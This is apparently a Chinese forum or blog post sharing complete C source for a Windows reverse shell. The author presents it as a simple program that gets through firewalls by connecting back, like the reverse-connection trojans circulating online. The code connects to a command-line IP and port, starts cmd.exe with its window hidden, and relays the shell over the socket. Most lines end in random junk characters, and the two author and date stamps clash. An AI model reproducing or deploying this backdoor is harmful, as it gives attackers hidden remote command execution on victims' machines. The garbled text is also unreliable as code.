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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Bm;: cmB0e  
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/* ============================== K/_"ybR7  
Rebound port in Windows NT /vpwpVHIpG  
By wind,2006/7 vj|#M/3>  
===============================*/ qL5~Wr m-W  
#include 3`;1;T2$B  
#include (9b%'@A@m  
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#pragma comment(lib,"wsock32.lib") tAkv'.  
5> !N)pA  
void OutputShell(); 'EN80+xYX  
SOCKET sClient; FSkLR h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `3*QKi$  
#e1iYFgS  
void main(int argc,char **argv) '7g]@Q7  
{ z:=E- +  
WSADATA stWsaData; :<HLw.4O  
int nRet; ;]k\F  
SOCKADDR_IN stSaiClient,stSaiServer; (gIFuOGi>  
;*hVAxs1  
if(argc != 3) jhJ<JDJ?`  
{ '(-H#D.oy'  
printf("Useage:\n\rRebound DestIP DestPort\n"); -@@ O<M^  
return; 53>(2 _/[r  
} <d O ~;  
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WSAStartup(MAKEWORD(2,2),&stWsaData); G8'  
ab`9MJc;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5!aI~(3<  
~[=d{M!$W  
stSaiClient.sin_family = AF_INET; D=K{(0{"/,  
stSaiClient.sin_port = htons(0); G @EEh.s9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AR{$P6u!%|  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IC1nR u2I  
{ DXQ]b)y+N  
printf("Bind Socket Failed!\n"); c}s#!|E0v  
return; ;@ G^eQ  
} B>c2 *+Bk  
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stSaiServer.sin_family = AF_INET; |T]&8Q)S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y`z4S,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,L4zhhl!_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f:6F5G  
{ Xka+1c  
printf("Connect Error!"); Nw(hN+_u  
return; *3s-=.U~  
} VVcli*  
OutputShell(); JJ'f\f9  
} Y!+H9R  
;j qF:Wl@  
void OutputShell() nM *}VI  
{ M+%qVwp  
char szBuff[1024]; x U"g~hT  
SECURITY_ATTRIBUTES stSecurityAttributes; Pz\ByD  
OSVERSIONINFO stOsversionInfo; 4iZg2"[D  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CugZ!>;^  
STARTUPINFO stStartupInfo; )&Z`SaoP|J  
char *szShell; I8c:U2D  
PROCESS_INFORMATION stProcessInformation; `\'V]9wS  
unsigned long lBytesRead; PHJHW#sv  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ikw.L  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k~I]Y,  
stSecurityAttributes.lpSecurityDescriptor = 0; ";7/8(LBZ  
stSecurityAttributes.bInheritHandle = TRUE; f=.!/e70  
(F9e.QyWb  
D!ASO]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #,97 ]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |'I>Ojm  
KW3<5+w]c  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <L<^uFB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1yqsE`4f  
stStartupInfo.wShowWindow = SW_HIDE; TL)7X.1'L  
stStartupInfo.hStdInput = hReadPipe; k~3\0man  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  <4< y  
$G{j[iLY  
GetVersionEx(&stOsversionInfo); VMe  
5g O9 <  
switch(stOsversionInfo.dwPlatformId) 0*+EYnu+  
{ x+ER 3wDD@  
case 1: k_uI&,  
szShell = "command.com"; *$`N5;7'`  
break; ZJm$7T)V  
default: $M/1pZ  
szShell = "cmd.exe"; 8 nL9#b  
break; SlHDBr!.z  
} (h= ]Ox  
/W .G- |:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5#s],h  
^q#[oO  
send(sClient,szMsg,77,0); 2,^ > lY  
while(1) U_;="y  
{ -7'|&zP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bfm+!9=9S  
if(lBytesRead) 0pG + yec  
{ "K$c9Z8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &[ ],rT  
send(sClient,szBuff,lBytesRead,0); qL`yaU  
} ZI1*Cb  
else }fv7WhQ  
{ !uO@4]:Y  
lBytesRead=recv(sClient,szBuff,1024,0); ~j(vGO3JB  
if(lBytesRead<=0) break; 87W!R<G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uqU&k@  
} yla- X|>  
} t_*x.{x-  
{QaO\{J=  
return; 4; 0#Z^p  
}
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